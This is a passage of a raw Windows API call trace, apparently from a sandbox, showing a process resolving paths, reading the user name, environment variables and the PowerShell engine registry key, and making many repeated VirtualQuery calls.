ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.989] SetErrorMode (uMode=0x1) returned 0x1 [0043.989] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.989] SetErrorMode (uMode=0x1) returned 0x1 [0043.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d490 | out: lpFileInformation=0x24d490*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.989] SetErrorMode (uMode=0x1) returned 0x1 [0043.989] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.989] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x24d180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.992] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x24d4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0043.992] SetErrorMode (uMode=0x1) returned 0x1 [0043.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x24d750 | out: lpFileInformation=0x24d750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb3e51d80, ftLastAccessTime.dwHighDateTime=0x1d4c1ea, ftLastWriteTime.dwLowDateTime=0xb3e51d80, ftLastWriteTime.dwHighDateTime=0x1d4c1ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.992] SetErrorMode (uMode=0x1) returned 0x1 [0044.023] CoTaskMemAlloc (cb=0x804) returned 0x1ba18e60 [0044.023] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba18e60, nSize=0x24dab8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24dab8) returned 0x1 [0044.024] CoTaskMemFree (pv=0x1ba18e60) [0044.024] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0044.024] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24daf8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24daf8) returned 1 [0044.024] CoTaskMemFree (pv=0x393c20) [0044.025] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x334e040*="Available", lpRawData=0x334ddd0) returned 1 [0044.025] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.025] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.025] CoTaskMemFree (pv=0x3d68d0) [0044.026] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.026] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.026] CoTaskMemFree (pv=0x3d68d0) [0044.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.033] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.033] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0044.033] CoTaskMemFree (pv=0x3d68d0) [0044.033] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.033] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0044.034] CoTaskMemFree (pv=0x3d68d0) [0044.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.035] GetCurrentProcessId () returned 0xa00 [0044.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0044.038] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dad8 | out: phkResult=0x24dad8*=0x330) returned 0x0 [0044.038] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24da5c, lpData=0x0, lpcbData=0x24da58*=0x0 | out: lpType=0x24da5c*=0x1, lpData=0x0, lpcbData=0x24da58*=0x56) returned 0x0 [0044.038] CoTaskMemAlloc (cb=0x5a) returned 0x33f080 [0044.038] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24da2c, lpData=0x33f080, lpcbData=0x24da28*=0x56 | out: lpType=0x24da2c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24da28*=0x56) returned 0x0 [0044.038] CoTaskMemFree (pv=0x33f080) [0044.038] RegCloseKey (hKey=0x330) returned 0x0 [0044.041] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.041] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.072] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.073] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.073] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.073] CoTaskMemFree (pv=0x3d68d0) [0044.078] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.093] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.093] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.094] CoTaskMemFree (pv=0x3d68d0) [0044.094] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.094] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.094] CoTaskMemFree (pv=0x3d68d0) [0044.094] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.094] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.094] CoTaskMemFree (pv=0x3d68d0) [0044.097] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.097] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.097] CoTaskMemFree (pv=0x3d68d0) [0044.100] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.100] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.100] CoTaskMemFree (pv=0x3d68d0) [0044.100] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0044.100] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.100] CoTaskMemFree (pv=0x3d68d0) [0044.104] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.105] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.161] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.168] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0044.291] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x3d6d10 [0044.292] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x3d6e20 [0044.397] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.434] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.435] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.435] VirtualQuery (in: lpAddress=0x24a580, lpBuffer=0x24b440, dwLength=0x30 | out: lpBuffer=0x24b440*(BaseAddress=0x24a000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.477] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.477] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.477] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.477] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.477] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.477] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.478] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0044.479] VirtualQuery (in: lpAddress=0x24bb30, lpBuffer=0x24c9f0, dwLength=0x30 | out: lpBuffer=0x24c9f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, 